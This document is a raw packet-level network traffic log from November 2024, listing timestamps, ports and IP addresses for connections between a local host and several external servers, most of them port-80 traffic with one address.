Nov 12, 2024 04:16:32.276629925 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.276648045 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.276670933 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.276684046 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.276695013 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.276711941 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.276721954 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.276726961 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.276746035 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.276747942 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.276756048 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.276767969 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.276770115 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.276777983 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.276783943 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.276799917 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.276801109 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.276812077 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.276818991 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.276823044 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.276834011 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.276844978 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.276845932 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.276860952 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.276865005 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.276875973 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.276885986 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.276889086 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.276896954 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.276907921 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.276915073 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.276942015 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.276957989 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.277143002 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.289218903 CET	443	49845	104.40.82.182	192.168.2.5
Nov 12, 2024 04:16:32.289239883 CET	443	49845	104.40.82.182	192.168.2.5
Nov 12, 2024 04:16:32.289295912 CET	49845	443	192.168.2.5	104.40.82.182
Nov 12, 2024 04:16:32.289310932 CET	443	49845	104.40.82.182	192.168.2.5
Nov 12, 2024 04:16:32.289320946 CET	49845	443	192.168.2.5	104.40.82.182
Nov 12, 2024 04:16:32.297192097 CET	443	49845	104.40.82.182	192.168.2.5
Nov 12, 2024 04:16:32.297209978 CET	443	49845	104.40.82.182	192.168.2.5
Nov 12, 2024 04:16:32.297240973 CET	443	49845	104.40.82.182	192.168.2.5
Nov 12, 2024 04:16:32.297256947 CET	443	49845	104.40.82.182	192.168.2.5
Nov 12, 2024 04:16:32.297265053 CET	443	49845	104.40.82.182	192.168.2.5
Nov 12, 2024 04:16:32.297278881 CET	49845	443	192.168.2.5	104.40.82.182
Nov 12, 2024 04:16:32.297288895 CET	443	49845	104.40.82.182	192.168.2.5
Nov 12, 2024 04:16:32.297296047 CET	443	49845	104.40.82.182	192.168.2.5
Nov 12, 2024 04:16:32.297312021 CET	49845	443	192.168.2.5	104.40.82.182
Nov 12, 2024 04:16:32.297316074 CET	443	49845	104.40.82.182	192.168.2.5
Nov 12, 2024 04:16:32.297336102 CET	49845	443	192.168.2.5	104.40.82.182
Nov 12, 2024 04:16:32.297359943 CET	49845	443	192.168.2.5	104.40.82.182
Nov 12, 2024 04:16:32.297513962 CET	49845	443	192.168.2.5	104.40.82.182
Nov 12, 2024 04:16:32.297524929 CET	443	49845	104.40.82.182	192.168.2.5
Nov 12, 2024 04:16:32.303637981 CET	443	49848	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:32.303658009 CET	443	49848	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:32.303702116 CET	443	49848	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:32.303749084 CET	49848	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:32.305289984 CET	443	49849	20.125.209.212	192.168.2.5
Nov 12, 2024 04:16:32.305958986 CET	49848	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:32.305969000 CET	443	49848	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:32.306761980 CET	443	49851	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:32.313779116 CET	49851	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:32.313801050 CET	443	49851	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:32.314723969 CET	49851	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:32.314728975 CET	443	49851	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:32.327179909 CET	443	49849	20.125.209.212	192.168.2.5
Nov 12, 2024 04:16:32.327239990 CET	49849	443	192.168.2.5	20.125.209.212
Nov 12, 2024 04:16:32.329680920 CET	49849	443	192.168.2.5	20.125.209.212
Nov 12, 2024 04:16:32.329687119 CET	443	49849	20.125.209.212	192.168.2.5
Nov 12, 2024 04:16:32.331768036 CET	49866	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:32.331778049 CET	443	49866	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:32.331840038 CET	49866	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:32.332087994 CET	49866	443	192.168.2.5	23.47.50.115
Nov 12, 2024 04:16:32.332101107 CET	443	49866	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:32.337126970 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.341980934 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.342829943 CET	443	49856	23.198.7.181	192.168.2.5
Nov 12, 2024 04:16:32.343090057 CET	49856	443	192.168.2.5	23.198.7.181
Nov 12, 2024 04:16:32.343105078 CET	443	49856	23.198.7.181	192.168.2.5
Nov 12, 2024 04:16:32.343471050 CET	443	49855	23.198.7.181	192.168.2.5
Nov 12, 2024 04:16:32.343619108 CET	49855	443	192.168.2.5	23.198.7.181
Nov 12, 2024 04:16:32.343626976 CET	443	49855	23.198.7.181	192.168.2.5
Nov 12, 2024 04:16:32.343981981 CET	443	49856	23.198.7.181	192.168.2.5
Nov 12, 2024 04:16:32.344048023 CET	49856	443	192.168.2.5	23.198.7.181
Nov 12, 2024 04:16:32.344588041 CET	443	49855	23.198.7.181	192.168.2.5
Nov 12, 2024 04:16:32.344647884 CET	49855	443	192.168.2.5	23.198.7.181
Nov 12, 2024 04:16:32.345211983 CET	49856	443	192.168.2.5	23.198.7.181
Nov 12, 2024 04:16:32.345263958 CET	443	49856	23.198.7.181	192.168.2.5
Nov 12, 2024 04:16:32.345307112 CET	49855	443	192.168.2.5	23.198.7.181
Nov 12, 2024 04:16:32.345362902 CET	443	49855	23.198.7.181	192.168.2.5
Nov 12, 2024 04:16:32.396924973 CET	443	49850	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:32.396965027 CET	443	49850	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:32.397495031 CET	49850	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:32.398750067 CET	49850	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:32.398768902 CET	443	49850	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:32.398808002 CET	49850	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:32.398813963 CET	443	49850	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:32.399271965 CET	443	49852	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:32.400299072 CET	49852	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:32.400327921 CET	443	49852	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:32.400844097 CET	49852	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:32.400849104 CET	443	49852	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:32.402499914 CET	49867	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:32.402523041 CET	443	49867	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:32.402595043 CET	49867	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:32.402738094 CET	49867	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:32.402748108 CET	443	49867	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:32.408821106 CET	49856	443	192.168.2.5	23.198.7.181
Nov 12, 2024 04:16:32.408822060 CET	49855	443	192.168.2.5	23.198.7.181
Nov 12, 2024 04:16:32.408834934 CET	443	49856	23.198.7.181	192.168.2.5
Nov 12, 2024 04:16:32.408864021 CET	443	49855	23.198.7.181	192.168.2.5
Nov 12, 2024 04:16:32.420404911 CET	443	49853	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:32.420898914 CET	49853	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:32.420918941 CET	443	49853	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:32.421379089 CET	49853	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:32.421382904 CET	443	49853	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:32.446410894 CET	443	49851	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:32.446465015 CET	443	49851	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:32.446763992 CET	49851	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:32.446867943 CET	49851	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:32.446877003 CET	443	49851	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:32.446928024 CET	49851	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:32.446933031 CET	443	49851	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:32.450979948 CET	49868	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:32.450990915 CET	443	49868	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:32.451108932 CET	49868	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:32.451283932 CET	49868	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:32.451293945 CET	443	49868	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:32.472652912 CET	443	49854	204.79.197.219	192.168.2.5
Nov 12, 2024 04:16:32.473030090 CET	49854	443	192.168.2.5	204.79.197.219
Nov 12, 2024 04:16:32.473066092 CET	443	49854	204.79.197.219	192.168.2.5
Nov 12, 2024 04:16:32.473927975 CET	443	49854	204.79.197.219	192.168.2.5
Nov 12, 2024 04:16:32.474001884 CET	49854	443	192.168.2.5	204.79.197.219
Nov 12, 2024 04:16:32.474155903 CET	443	49857	204.79.197.219	192.168.2.5
Nov 12, 2024 04:16:32.475028992 CET	49857	443	192.168.2.5	204.79.197.219
Nov 12, 2024 04:16:32.475044966 CET	443	49857	204.79.197.219	192.168.2.5
Nov 12, 2024 04:16:32.475790024 CET	49854	443	192.168.2.5	204.79.197.219
Nov 12, 2024 04:16:32.475847960 CET	443	49854	204.79.197.219	192.168.2.5
Nov 12, 2024 04:16:32.475944042 CET	443	49857	204.79.197.219	192.168.2.5
Nov 12, 2024 04:16:32.476013899 CET	49857	443	192.168.2.5	204.79.197.219
Nov 12, 2024 04:16:32.476670027 CET	49857	443	192.168.2.5	204.79.197.219
Nov 12, 2024 04:16:32.476722956 CET	443	49857	204.79.197.219	192.168.2.5
Nov 12, 2024 04:16:32.496541023 CET	443	49861	23.198.7.174	192.168.2.5
Nov 12, 2024 04:16:32.496918917 CET	49861	443	192.168.2.5	23.198.7.174
Nov 12, 2024 04:16:32.496939898 CET	443	49861	23.198.7.174	192.168.2.5
Nov 12, 2024 04:16:32.497966051 CET	443	49861	23.198.7.174	192.168.2.5
Nov 12, 2024 04:16:32.498051882 CET	49861	443	192.168.2.5	23.198.7.174
Nov 12, 2024 04:16:32.500164032 CET	49861	443	192.168.2.5	23.198.7.174
Nov 12, 2024 04:16:32.500287056 CET	443	49861	23.198.7.174	192.168.2.5
Nov 12, 2024 04:16:32.509490013 CET	49856	443	192.168.2.5	23.198.7.181
Nov 12, 2024 04:16:32.509637117 CET	49855	443	192.168.2.5	23.198.7.181
Nov 12, 2024 04:16:32.528271914 CET	443	49852	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:32.528496981 CET	443	49852	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:32.528563023 CET	49852	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:32.535196066 CET	49852	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:32.535213947 CET	443	49852	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:32.535242081 CET	49852	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:32.535248041 CET	443	49852	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:32.538547993 CET	49869	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:32.538599014 CET	443	49869	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:32.538666010 CET	49869	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:32.538831949 CET	49869	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:32.538849115 CET	443	49869	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:32.551023960 CET	443	49853	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:32.551093102 CET	443	49853	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:32.551331043 CET	49853	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:32.551363945 CET	49853	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:32.551379919 CET	443	49853	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:32.551390886 CET	49853	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:32.551397085 CET	443	49853	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:32.554536104 CET	49870	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:32.554565907 CET	443	49870	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:32.554672956 CET	49870	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:32.554826975 CET	49870	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:32.554840088 CET	443	49870	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:32.610873938 CET	49861	443	192.168.2.5	23.198.7.174
Nov 12, 2024 04:16:32.610884905 CET	49854	443	192.168.2.5	204.79.197.219
Nov 12, 2024 04:16:32.610884905 CET	49857	443	192.168.2.5	204.79.197.219
Nov 12, 2024 04:16:32.610894918 CET	443	49861	23.198.7.174	192.168.2.5
Nov 12, 2024 04:16:32.610920906 CET	443	49854	204.79.197.219	192.168.2.5
Nov 12, 2024 04:16:32.610937119 CET	443	49857	204.79.197.219	192.168.2.5
Nov 12, 2024 04:16:32.611792088 CET	443	49860	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:32.611989975 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.612004995 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.612016916 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.612026930 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.612044096 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.612055063 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.612065077 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.612076044 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.612090111 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.612097979 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.612102032 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.612114906 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.612138987 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.612138987 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.612176895 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.612183094 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.612194061 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.612205029 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.612216949 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.612227917 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.612266064 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.612271070 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.612287998 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.612299919 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.612329006 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.612335920 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.612348080 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.612358093 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.612374067 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.612375975 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.612386942 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.612402916 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.612407923 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.612415075 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.612426996 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.612435102 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.612472057 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.612484932 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.612488031 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.612509012 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.612515926 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.612519026 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.612530947 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.612544060 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.612575054 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.612628937 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.612672091 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.612683058 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.612708092 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.612719059 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.612719059 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.612750053 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.612775087 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.612792015 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.612883091 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.612894058 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.612903118 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.612915039 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.612926960 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.612927914 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.612941027 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.612956047 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.612976074 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.612982035 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.613025904 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.613086939 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.613163948 CET	49860	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:32.613178968 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.613183975 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.613188982 CET	443	49860	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:32.613200903 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.613218069 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.613224983 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.613229036 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.613240957 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.613251925 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.613260984 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.613262892 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.613291979 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.613312960 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.613368988 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.613409042 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.613411903 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.613424063 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.613446951 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.613460064 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.613477945 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.613490105 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.613506079 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.613516092 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.613526106 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.613559961 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.613575935 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.613595009 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.613606930 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.613616943 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.613642931 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.613667965 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.613668919 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.613682032 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.613696098 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.613713026 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.613715887 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.613723993 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.613735914 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.613740921 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.613753080 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.613765001 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.613770962 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.613780975 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.613789082 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.613792896 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.613811970 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.613823891 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.613837004 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.613847971 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.613868952 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.613877058 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.613888979 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.613890886 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.613935947 CET	49860	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:32.613940954 CET	443	49860	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:32.613956928 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.613982916 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.614022017 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.643337011 CET	443	49862	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:32.644634008 CET	49862	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:32.644664049 CET	443	49862	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:32.644953012 CET	443	49862	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:32.645807981 CET	49862	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:32.645880938 CET	443	49862	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:32.646143913 CET	49862	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:32.663089037 CET	443	49863	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:32.663780928 CET	49863	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:32.663793087 CET	443	49863	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:32.664072990 CET	443	49863	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:32.664467096 CET	49863	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:32.664525032 CET	443	49863	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:32.664645910 CET	49863	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:32.687336922 CET	443	49862	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:32.711329937 CET	443	49863	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:32.748182058 CET	443	49860	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:32.748251915 CET	443	49860	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:32.748367071 CET	49860	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:32.748737097 CET	49860	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:32.748753071 CET	443	49860	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:32.753870964 CET	49854	443	192.168.2.5	204.79.197.219
Nov 12, 2024 04:16:32.753870964 CET	49857	443	192.168.2.5	204.79.197.219
Nov 12, 2024 04:16:32.756027937 CET	49871	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:32.756077051 CET	443	49871	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:32.756247044 CET	49871	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:32.756566048 CET	49871	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:32.756584883 CET	443	49871	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:32.787446976 CET	443	49862	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:32.787684917 CET	443	49862	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:32.787983894 CET	49862	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:32.795464039 CET	49862	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:32.795500994 CET	443	49862	13.107.246.57	192.168.2.5
